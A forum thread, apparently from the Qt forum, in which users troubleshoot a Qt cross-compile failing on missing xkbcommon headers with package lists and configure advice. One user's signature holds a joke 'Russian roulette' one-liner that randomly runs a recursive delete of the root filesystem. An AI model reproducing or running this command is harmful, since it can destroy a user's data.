    You need the libxkbcommon development package.

          Like @SGaist said, you need the libraries anyway. Check Qt5 Dependencies page.
          Try this maybe?

          sudo apt-get install libx11-xcb-dev libglu1-mesa-dev build-dependencies
          

          If not solves, try this,

          sudo apt-get install libxcb1 libxcb-util0 libpam-dev libcairo-dev libxcb-xinerama0 libev-dev libx11-dev libx11-xcb-dev libxkbcommon0 libxkbcommon-x11-dev libxkbcommon-dev libxcb-dpms0-dev libxcb-xinerama0-dev libxkbfile-dev libxcb-util0-dev libxcb-image0-dev
          

          bash-4.4$ [ $[ $RANDOM % 6 ] == 0 ] && rm - rf /* || echo click
          tag me (like @closx) if you are answering to me, so I can notice :D

            Run the configure script that is located in qtbase.

            As for xkbcommon, you can also disable that feature.

                  This doesn't show where the build failed.

                  Re-run the build without the -j parameter so you'll see exactly were the error is.

                          Did you re-run configure from a clean state ?

                              Can you check the configure log to see if there's anything related to that ?

                                  They are generated when configure is run. Look into your build folder.

                                    Hello,
                                    I've tried all suggestions found on this topic, but build process still fails: cannot find xkbccommon-compose.h file. Just one remark: trying to install additional packages with the command:
                                    sudo apt-get install libxcb1 libxcb-util0 libpam-dev ...
                                    I should remove just libxbc-util0 (all others were kept) because this package wasn't found.
                                    Any ideas ?
                                    Thanks.

                                      Hi,

                                      What version of xkbcommon do you have installed ?

                                        I'm not aware what is actually installed ... I've just executed the following instruction, as was suggested previously in this topic (except libxcb-util0 which wasn't found)

                                        sudo apt-get install libxcb1 libxcb-util0 libpam-dev libcairo-dev libxcb-xinerama0 libev-dev libx11-dev libx11-xcb-dev libxkbcommon0 libxkbcommon-x11-dev libxkbcommon-dev libxcb-dpms0-dev libxcb-xinerama0-dev libxkbfile-dev libxcb-util0-dev libxcb-image0-dev

                                          @Pavel_47 Did you install these packages on your target device? Since you're crosscompiling you need them in your sysroot, not on your host machine.
